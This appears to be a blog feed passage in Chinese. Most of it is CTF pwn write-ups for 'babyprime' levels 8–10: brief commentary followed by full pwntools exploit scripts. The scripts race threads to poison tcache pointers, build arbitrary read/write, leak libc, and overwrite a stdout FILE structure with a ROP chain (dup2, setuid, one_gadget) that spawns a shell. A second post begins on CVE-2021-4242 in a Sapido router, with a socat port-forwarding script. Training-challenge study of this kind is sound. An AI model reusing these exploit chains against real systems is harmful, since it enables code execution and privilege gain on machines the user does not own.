    BAD_BYTES = {b&quot;\x20&quot;, b&quot;\x0c&quot;, b&quot;\x0a&quot;, b&quot;\x0d&quot;, b&quot;\x09&quot;, b&quot;\x0b&quot;}

    packed_addr = flat(addr)
    if any(bytes([byte]) in BAD_BYTES for byte in packed_addr):
        raise ValueError(
            f&quot;Address {hex(addr)} contains a bad byte for scanf: {packed_addr.hex()}&quot;
        )

    while True:
        thread[0].send((f&quot;malloc {poison_idx} free {poison_idx}\n&quot;.encode()) * 10000)
        if os.fork() == 0:
            thread[1].send(
                (f&quot;scanf {poison_idx}&quot;.encode() + packed_addr + b&quot;\n&quot;) * 10000
            )
            os.kill(os.getpid(), 9)
        os.wait()

        malloc(0, poison_idx)
        printf(0, poison_idx)
        thread[0].recvuntil(b&quot;MESSAGE: &quot;)
        poisoned = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)

        if flat(poisoned) == packed_addr:
            break

    raw_input(&quot;DEBUG&quot;)
    malloc(0, result_idx)
    printf(0, result_idx)


def arbitrary_write(poison_idx, result_idx, addr, content):
    arbitrary_read(poison_idx, result_idx, addr)
    raw_input(&quot;RAW SCANF&quot;)
    scanf_raw(0, result_idx, content)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target, thread

    if args.L and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.L:
        target = process(FILE)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    malloc(0, 0)
    malloc(0, 1)
    free(0, 1)
    free(0, 0)
    malloc(0, 0)
    malloc(0, 1)

    printf(0, 0)
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    heap = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)

    printf(0, 1)
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    pos = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)
    heap = demangle(heap, pos)
    main_arena_ptr = heap - 0xAA1
    thread_stdout = heap - 0x5F1

    thread[0].success(f&quot;pos: {hex(pos)}&quot;)
    thread[0].success(f&quot;heap: {hex(heap)}&quot;)
    thread[0].success(f&quot;main_arena_ptr: {hex(main_arena_ptr)}&quot;)
    thread[0].success(f&quot;thread_stdout: {hex(thread_stdout)}&quot;)

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 0)
    malloc(0, 1)
    free(0, 1)
    free(0, 0)

    arbitrary_read(0, 1, mangle(pos - 1, main_arena_ptr))
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    libc.address = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;) - 0x219C80
    heap_ptr = libc.address + 0x219CE0
    __GI__IO_wfile_overflow = libc.address + 0x215FE0

    thread[0].success(f&quot;libc: {hex(libc.address)}&quot;)
    thread[0].success(f&quot;heap_ptr: {hex(heap_ptr)}&quot;)
    thread[0].success(f&quot;__GI__IO_wfile_overflow: {hex(__GI__IO_wfile_overflow)}&quot;)

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 2)
    malloc(0, 4)
    free(0, 4)
    free(0, 2)

    arbitrary_read(2, 4, mangle(pos, heap_ptr))
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    heap = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;) - 0x530
    empty_buffer = heap + 0x1000

    thread[0].success(f&quot;heap: {hex(heap)}&quot;)
    thread[0].success(f&quot;empty_buffer: {hex(empty_buffer)}&quot;)

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 3)
    malloc(0, 5)
    free(0, 5)
    free(0, 3)

    #   0x7fbcf9683b94 &amp;lt;_IO_wdoallocbuf+36&amp;gt;    mov    rax, qword ptr [rax + 0xe0]
    # ► 0x7fbcf9683b9b &amp;lt;_IO_wdoallocbuf+43&amp;gt;    call   qword ptr [rax + 0x68]

    leave_ret = libc.address + 0x4DA83
    pop_rdi_ret = libc.address + 0x2A3E5
    pop_rsi_ret = libc.address + 0x2BE51
    pop_rbp_ret = libc.address + 0x2A2E0
    pop_rax_ret = libc.address + 0x45EB0
    one_gadget = libc.address + 0xEBD43
    dup2 = libc.sym[&quot;dup2&quot;]
    syscall_ret = libc.address + 0x91316

    payload = flat(
        {
            0x68: leave_ret,
            0xE0: empty_buffer,
            0xE8: pop_rdi_ret,
            0xF0: 5,
            0xF8: pop_rsi_ret,
            0x100: 0,
            0x108: dup2,
            0x110: pop_rsi_ret,
            0x118: 1,
            0x120: dup2,
            0x128: pop_rdi_ret,
            0x130: 0,
            0x138: pop_rax_ret,
            0x140: constants.SYS_setuid,
            0x148: syscall_ret,
            0x150: one_gadget,
        },
        filler=b&quot;\x00&quot;,
    )
    arbitrary_write(3, 5, mangle(pos, empty_buffer), payload)

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 6)
    malloc(0, 7)
    free(0, 7)
    free(0, 6)

    fp = FileStructure()
    fp._lock = heap + 0x2000
    fp._wide_data = empty_buffer
    fp.vtable = __GI__IO_wfile_overflow

    fp._IO_read_ptr = pop_rbp_ret
    fp._IO_read_end = heap + (0x1000 + 0xE8) - 0x8
    fp._IO_read_base = leave_ret

    arbitrary_write(6, 7, mangle(pos, thread_stdout + 0x3), bytes(fp))

    # thread[0].clean()
    printf(0, 0)

    thread[0].interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 8&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Create and use arbitrary read/write primitives to obtain the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;笑死了，这回我学聪明了，鉴于这题的 description 和上题一样，而上题我写的 exp 又是拿 shell 的通解，且题目使用的 libc 版本都一样，我直接不看题，用上题的 exp 去跑，然后……通了！LMAO&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    FileStructure,
    constants,
    context,
    flat,
    os,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, action=&quot;store_true&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;thread count&quot;)
args = parser.parse_args()


FILE = &quot;/challenge/babyprime_level8.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def printf(tid, idx):
    thread[tid].sendline(f&quot;printf {idx}&quot;.encode())


def malloc(tid, idx):
    thread[tid].sendline(f&quot;malloc {idx}&quot;.encode())


def scanf(tid, idx, content):
    thread[tid].sendline(f&quot;scanf {idx} {content}&quot;.encode())


def scanf_raw(tid, idx, content):
    thread[tid].sendline(f&quot;scanf {idx} &quot;.encode() + content)


def free(tid, idx):
    thread[tid].sendline(f&quot;free {idx}&quot;.encode())


def quit(tid):
    thread[tid].sendline(b&quot;quit&quot;)


def arbitrary_read(poison_idx, result_idx, addr):
    BAD_BYTES = {b&quot;\x20&quot;, b&quot;\x0c&quot;, b&quot;\x0a&quot;, b&quot;\x0d&quot;, b&quot;\x09&quot;, b&quot;\x0b&quot;}

    packed_addr = flat(addr)
    if any(bytes([byte]) in BAD_BYTES for byte in packed_addr):
        raise ValueError(
            f&quot;Address {hex(addr)} contains a bad byte for scanf: {packed_addr.hex()}&quot;
        )

    while True:
        thread[0].send((f&quot;malloc {poison_idx} free {poison_idx}\n&quot;.encode()) * 10000)
        if os.fork() == 0:
            thread[1].send(
                (f&quot;scanf {poison_idx}&quot;.encode() + packed_addr + b&quot;\n&quot;) * 10000
            )
            os.kill(os.getpid(), 9)
        os.wait()

        malloc(0, poison_idx)
        printf(0, poison_idx)
        thread[0].recvuntil(b&quot;MESSAGE: &quot;)
        poisoned = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)

        if flat(poisoned) == packed_addr:
            break

    raw_input(&quot;DEBUG&quot;)
    malloc(0, result_idx)
    printf(0, result_idx)


def arbitrary_write(poison_idx, result_idx, addr, content):
    arbitrary_read(poison_idx, result_idx, addr)
    raw_input(&quot;RAW SCANF&quot;)
    scanf_raw(0, result_idx, content)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target, thread

    if args.L and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.L:
        target = process(FILE)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    malloc(0, 0)
    malloc(0, 1)
    free(0, 1)
    free(0, 0)
    malloc(0, 0)
    malloc(0, 1)

    printf(0, 0)
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    heap = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)

    printf(0, 1)
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    pos = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)
    heap = demangle(heap, pos)
    main_arena_ptr = heap - 0xAA1
    thread_stdout = heap - 0x5F1

    thread[0].success(f&quot;pos: {hex(pos)}&quot;)
    thread[0].success(f&quot;heap: {hex(heap)}&quot;)
    thread[0].success(f&quot;main_arena_ptr: {hex(main_arena_ptr)}&quot;)
    thread[0].success(f&quot;thread_stdout: {hex(thread_stdout)}&quot;)

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 0)
    malloc(0, 1)
    free(0, 1)
    free(0, 0)

    arbitrary_read(0, 1, mangle(pos - 1, main_arena_ptr))
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    libc.address = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;) - 0x219C80
    heap_ptr = libc.address + 0x219CE0
    __GI__IO_wfile_overflow = libc.address + 0x215FE0

    thread[0].success(f&quot;libc: {hex(libc.address)}&quot;)
    thread[0].success(f&quot;heap_ptr: {hex(heap_ptr)}&quot;)
    thread[0].success(f&quot;__GI__IO_wfile_overflow: {hex(__GI__IO_wfile_overflow)}&quot;)

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 2)
    malloc(0, 4)
    free(0, 4)
    free(0, 2)

    arbitrary_read(2, 4, mangle(pos, heap_ptr))
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    heap = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;) - 0x530
    empty_buffer = heap + 0x1000

    thread[0].success(f&quot;heap: {hex(heap)}&quot;)
    thread[0].success(f&quot;empty_buffer: {hex(empty_buffer)}&quot;)

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 3)
    malloc(0, 5)
    free(0, 5)
    free(0, 3)

    #   0x7fbcf9683b94 &amp;lt;_IO_wdoallocbuf+36&amp;gt;    mov    rax, qword ptr [rax + 0xe0]
    # ► 0x7fbcf9683b9b &amp;lt;_IO_wdoallocbuf+43&amp;gt;    call   qword ptr [rax + 0x68]

    leave_ret = libc.address + 0x4DA83
    pop_rdi_ret = libc.address + 0x2A3E5
    pop_rsi_ret = libc.address + 0x2BE51
    pop_rbp_ret = libc.address + 0x2A2E0
    pop_rax_ret = libc.address + 0x45EB0
    one_gadget = libc.address + 0xEBD43
    dup2 = libc.sym[&quot;dup2&quot;]
    syscall_ret = libc.address + 0x91316

    payload = flat(
        {
            0x68: leave_ret,
            0xE0: empty_buffer,
            0xE8: pop_rdi_ret,
            0xF0: 5,
            0xF8: pop_rsi_ret,
            0x100: 0,
            0x108: dup2,
            0x110: pop_rsi_ret,
            0x118: 1,
            0x120: dup2,
            0x128: pop_rdi_ret,
            0x130: 0,
            0x138: pop_rax_ret,
            0x140: constants.SYS_setuid,
            0x148: syscall_ret,
            0x150: one_gadget,
        },
        filler=b&quot;\x00&quot;,
    )
    arbitrary_write(3, 5, mangle(pos, empty_buffer), payload)

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 6)
    malloc(0, 7)
    free(0, 7)
    free(0, 6)

    fp = FileStructure()
    fp._lock = heap + 0x2000
    fp._wide_data = empty_buffer
    fp.vtable = __GI__IO_wfile_overflow

    fp._IO_read_ptr = pop_rbp_ret
    fp._IO_read_end = heap + (0x1000 + 0xE8) - 0x8
    fp._IO_read_base = leave_ret

    arbitrary_write(6, 7, mangle(pos, thread_stdout + 0x3), bytes(fp))

    # thread[0].clean()
    printf(0, 0)

    thread[0].interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 9&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Create and use arbitrary read/write primitives with less control of the heap.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;堆噪声是吧，看上去好像很可怕，也只是看上去罢了。实际上这干扰有和没有都没啥区别……至少在这题里是这样的。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    context,
    flat,
    os,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, action=&quot;store_true&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;thread count&quot;)
args = parser.parse_args()


FILE = &quot;/challenge/babyprime_level9.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def printf(tid, idx):
    thread[tid].sendline(f&quot;printf {idx}&quot;.encode())


def malloc(tid, idx):
    thread[tid].sendline(f&quot;malloc {idx}&quot;.encode())


def scanf(tid, idx, content):
    thread[tid].sendline(f&quot;scanf {idx} {content}&quot;.encode())


def scanf_raw(tid, idx, content):
    thread[tid].sendline(f&quot;scanf {idx} &quot;.encode() + content)


def free(tid, idx):
    thread[tid].sendline(f&quot;free {idx}&quot;.encode())


def send_flag(tid, flag):
    thread[tid].sendline(b&quot;send_flag&quot;)
    thread[tid].sendlineafter(b&quot;Secret: &quot;, flag)


def quit(tid):
    thread[tid].sendline(b&quot;quit&quot;)


def arbitrary_read(poison_idx, result_idx, addr):
    BAD_BYTES = {b&quot;\x20&quot;, b&quot;\x0c&quot;, b&quot;\x0a&quot;, b&quot;\x0d&quot;, b&quot;\x09&quot;, b&quot;\x0b&quot;}

    packed_addr = flat(addr)
    if any(bytes([byte]) in BAD_BYTES for byte in packed_addr):
        raise ValueError(
            f&quot;Address {hex(addr)} contains a bad byte for scanf: {packed_addr.hex()}&quot;
        )

    while True:
        thread[0].send((f&quot;malloc {poison_idx} free {poison_idx}\n&quot;.encode()) * 10000)
        if os.fork() == 0:
            thread[1].send(
                (f&quot;scanf {poison_idx}&quot;.encode() + packed_addr + b&quot;\n&quot;) * 10000
            )
            os.kill(os.getpid(), 9)
        os.wait()

        malloc(0, poison_idx)
        printf(0, poison_idx)
        thread[0].recvuntil(b&quot;MESSAGE: &quot;)
        poisoned = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)

        if flat(poisoned) == packed_addr:
            break

    raw_input(&quot;DEBUG&quot;)
    malloc(0, result_idx)
    printf(0, result_idx)


def arbitrary_write(poison_idx, result_idx, addr, content):
    arbitrary_read(poison_idx, result_idx, addr)
    raw_input(&quot;RAW SCANF&quot;)
    scanf_raw(0, result_idx, content)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target, thread

    if args.L and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.L:
        target = process(FILE)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    malloc(0, 0)
    printf(0, 0)

    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    pos = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)
    flag = (pos &amp;lt;&amp;lt; 12) + 0xBD0

    thread[0].success(f&quot;pos: {hex(pos)}&quot;)
    thread[0].success(f&quot;flag: {hex(flag)}&quot;)

    malloc(0, 0)
    malloc(0, 1)
    free(0, 1)
    free(0, 0)

    arbitrary_read(0, 1, mangle(pos, flag + 0x10))

    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    secret = thread[0].recvline()
    send_flag(0, secret)

    quit(0)
    quit(1)

    thread[0].interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 10&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Create and use arbitrary read/write primitives with less control of the heap II.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;&lt;s&gt;吃屎吃的最难受的一集。&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;不想破伪随机数发生器，那就想办法确定你能确定的，想办法猜出你不能确定的（&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    FileStructure,
    context,
    flat,
    os,
    process,
    raw_input,
    remote,
    sys,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, action=&quot;store_true&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;thread count&quot;)
args = parser.parse_args()


FILE = &quot;/challenge/babyprime_level10.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def printf(tid, idx):
    thread[tid].sendline(f&quot;printf {idx}&quot;.encode())


def malloc(tid, idx):
    thread[tid].sendline(f&quot;malloc {idx}&quot;.encode())


def scanf(tid, idx, content):
    thread[tid].sendline(f&quot;scanf {idx} {content}&quot;.encode())


def scanf_raw(tid, idx, content):
    thread[tid].sendline(f&quot;scanf {idx} &quot;.encode() + content)


def free(tid, idx):
    thread[tid].sendline(f&quot;free {idx}&quot;.encode())


def quit(tid):
    thread[tid].sendline(b&quot;quit&quot;)


def arbitrary_read(poison_idx, result_idx, addr):
    global rand_size

    BAD_BYTES = {b&quot;\x20&quot;, b&quot;\x0c&quot;, b&quot;\x0a&quot;, b&quot;\x0d&quot;, b&quot;\x09&quot;, b&quot;\x0b&quot;}

    packed_addr = flat(addr)
    if any(bytes([byte]) in BAD_BYTES for byte in packed_addr):
        raise ValueError(
            f&quot;Address {hex(addr)} contains a bad byte for scanf: {packed_addr.hex()}&quot;
        )

    while True:
        thread[0].send((f&quot;malloc {poison_idx} free {poison_idx}\n&quot;.encode()) * 10000)
        if os.fork() == 0:
            thread[1].send(
                (f&quot;scanf {poison_idx}&quot;.encode() + packed_addr + b&quot;\n&quot;) * 10000
            )
            os.kill(os.getpid(), 9)
        os.wait()

        malloc(0, poison_idx)
        printf(0, poison_idx)
        thread[0].recvuntil(b&quot;MESSAGE: &quot;)
        poisoned = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)

        if flat(poisoned) == packed_addr:
            break

    # raw_input(&quot;DEBUG&quot;)
    malloc(0, result_idx)
    printf(0, result_idx)


def arbitrary_write(poison_idx, result_idx, addr, content):
    arbitrary_read(poison_idx, result_idx, addr)
    # raw_input(&quot;RAW SCANF&quot;)
    scanf_raw(0, result_idx, content)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target, thread

    if args.L and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.L:
        target = process(FILE)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    thread[0].recvuntil(b&quot;Your flag is: &quot;)
    flag_p0 = thread[0].recvuntil(b&quot;..!\n&quot;)[:-4]
    thread[0].success(f&quot;flag_p0: {flag_p0}&quot;)

    malloc(0, 0)
    free(0, 0)
    malloc(0, 0)
    printf(0, 0)

    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    pos = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)
    heap = pos &amp;lt;&amp;lt; 12

    hexpos = hex(pos)[2:]
    if len(hexpos) != 9:
        thread[0].failure(f&quot;invalid pos (need equal to 9 hex digits): {hex(pos)}&quot;)
        try:
            thread[0].close()
            thread[1].close()
        except:
            pass
        os.execv(sys.executable, [sys.executable] + sys.argv)

    thread_stdout = heap - 0x102B0
    secret = thread_stdout + 0x3C0

    thread[0].success(f&quot;pos: {hex(pos)}&quot;)
    thread[0].success(f&quot;stdout: {hex(thread_stdout)}&quot;)
    thread[0].success(f&quot;secret: {hex(secret)}&quot;)

    expected_low = 0x0D50
    low_16 = thread_stdout &amp;amp; 0xFFFF

    if low_16 != expected_low:
        thread[0].failure(f&quot;bad stdout low bits: {hex(low_16)} != {hex(expected_low)}&quot;)

        try:
            thread[0].close()
            thread[1].close()
        except:
            pass

        os.execv(sys.executable, [sys.executable] + sys.argv)

    # raw_input(&quot;DEBUG&quot;)
    malloc(0, 2)
    malloc(0, 4)
    free(0, 4)
    free(0, 2)

    fp = FileStructure()
    fp.write(secret, 0x100)
    fp.fileno = 5

    arbitrary_write(
        2,
        4,
        mangle((pos) - 0x3, thread_stdout),
        fp.struntil(&quot;_flags2&quot;),
    )
    malloc(0, 10)

    thread[0].interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Sapido RB-1732 路由器 RCE 漏洞</title><link>https://cubeyond.net/posts/iot/rce-sapido_rb-1732/</link><guid isPermaLink="true">https://cubeyond.net/posts/iot/rce-sapido_rb-1732/</guid><description>CVE-2021-4242: Sapido RB-1732 路由器 RCE 漏洞复现。</description><pubDate>Sat, 15 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import CveCard from &quot;@components/misc/CveCard.astro&quot;;&lt;/p&gt;
&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;所以，这是我入门 IoT 复现的第一个漏洞 :D&lt;/p&gt;
&lt;p&gt;看到 Arch Linux &lt;s&gt;神（邪）教&lt;/s&gt;被孤立还是很难过的……最后迫不得已，还是搭建了 &lt;a href=&quot;https://www.attify.com/&quot;&gt;AttifyOS&lt;/a&gt; 虚拟机，老老实实用它仿真，不过分析和写 exp 这种事情还是在宿主机进行，其实感觉还好，整个流程并没有让我觉得有多麻烦。&lt;/p&gt;
&lt;p&gt;&lt;s&gt;嗯……有空研究一下市面上仿真项目的源码，然后写一个适用于 arch 的仿真工具孤立所有非我教者（&lt;/s&gt;&lt;/p&gt;
&lt;h1&gt;漏洞介绍&lt;/h1&gt;
&lt;p&gt;好了，不瞎扯了，说点正经的……搜了一下，这个漏洞的 CVE 是：&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-4242&quot;&gt;CVE-2021-4242&lt;/a&gt;，说实话一开始以为是一个很老的漏洞，没想到也就近几年。&lt;/p&gt;
&lt;p&gt;对于这个洞的描述是：&lt;/p&gt;
&lt;p&gt;&amp;lt;CveCard id=&quot;CVE-2021-4242&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;说白了就是一个没有过滤后门页面的访问的问题，虽然洞很简单，但这里主要是为了学习，体会实战中如何寻找漏洞的一个思路，而不是为了复现而复现。&lt;/p&gt;
&lt;h1&gt;固件仿真&lt;/h1&gt;
&lt;p&gt;&lt;s&gt;仿真还不是 easy peasy，只要人品足够好，不是吗？&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;这里我使用的是 &lt;a href=&quot;https://github.com/attify/firmware-analysis-toolkit&quot;&gt;Firmware Analysis Toolkit&lt;/a&gt;，直接梭掉了，没有遇到什么奇奇怪怪的问题。&lt;s&gt;人品保障（&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.102lccjy0f.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;为了方便测试，这里我写了一个无比简陋的端口转发脚本，这样就可以从宿主机访问仿真出来的路由器后端了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash

TARGET_IP=&quot;$1&quot;
PORT_RULES=&quot;$2&quot;

if [[ -z &quot;$TARGET_IP&quot; || -z &quot;$PORT_RULES&quot; ]]; then
  echo &quot;usage: $0 &amp;lt;target_ip&amp;gt; \&quot;&amp;lt;host_port:target_port&amp;gt; &amp;lt;host_port:target_port&amp;gt; ...\&quot;&quot;
  exit 1
fi

if ! command -v socat &amp;gt;/dev/null 2&amp;gt;&amp;amp;1; then
  echo &quot;[-] socat not found.&quot;
  exit 1
fi

echo &quot;[*] Target IP: $TARGET_IP&quot;
echo &quot;[*] Rules: $PORT_RULES&quot;
echo

for rule in $PORT_RULES; do
  HOST_PORT=&quot;${rule%%:*}&quot;
  TARGET_PORT=&quot;${rule##*:}&quot;

  echo &quot;[+] Forwarding host: $HOST_PORT → $TARGET_IP:$TARGET_PORT&quot;

  socat TCP-LISTEN:&quot;$HOST_PORT&quot;,fork TCP:&quot;$TARGET_IP&quot;:&quot;$TARGET_PORT&quot; &amp;amp;

  PID=$!
  echo &quot;    Started (PID=$PID)&quot;
done

echo
echo &quot;[OK] All forwarding rules loaded.&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5mo8d3awk8.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7w78wkztpt.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;漏洞分析&lt;/h1&gt;
&lt;p&gt;闭眼 &lt;code&gt;binwalk&lt;/code&gt;，&lt;s&gt;幸运女神保佑我，别加密，别加密（&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7eh780c9a3.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;正合我意，是没有加密的 SquashFS 文件系统。下面随机抓一个倒霉蛋问问架构：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4g4x4iaxdu.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Well，32-bit 大端 MIPS，现在基本的信息算是搜集的差不多了，接下来就应该去分析它是如何把 http 服务跑起来的了。&lt;/p&gt;
&lt;p&gt;我们发现 &lt;code&gt;/etc/init.d&lt;/code&gt; 下有三个文件，&lt;code&gt;rcS&lt;/code&gt;、&lt;code&gt;rcS_16M&lt;/code&gt; 和 &lt;code&gt;rcS_32M&lt;/code&gt;，盲猜后两个是设计用于特定内存大小使用的，我们直接看 &lt;code&gt;rcS&lt;/code&gt; 就好了，另外两个也大差不差。&lt;/p&gt;
&lt;p&gt;快速过一遍这个脚本，大致可以看出来就是做了一些初始化工作，诸如网络设置，硬件检测啦之类的事情，最后，我们凭借敏锐的注意力发现它在一切准备就绪后执行了一个叫做 &lt;code&gt;webs&lt;/code&gt; 的程序：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3uv9i7vgzk.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
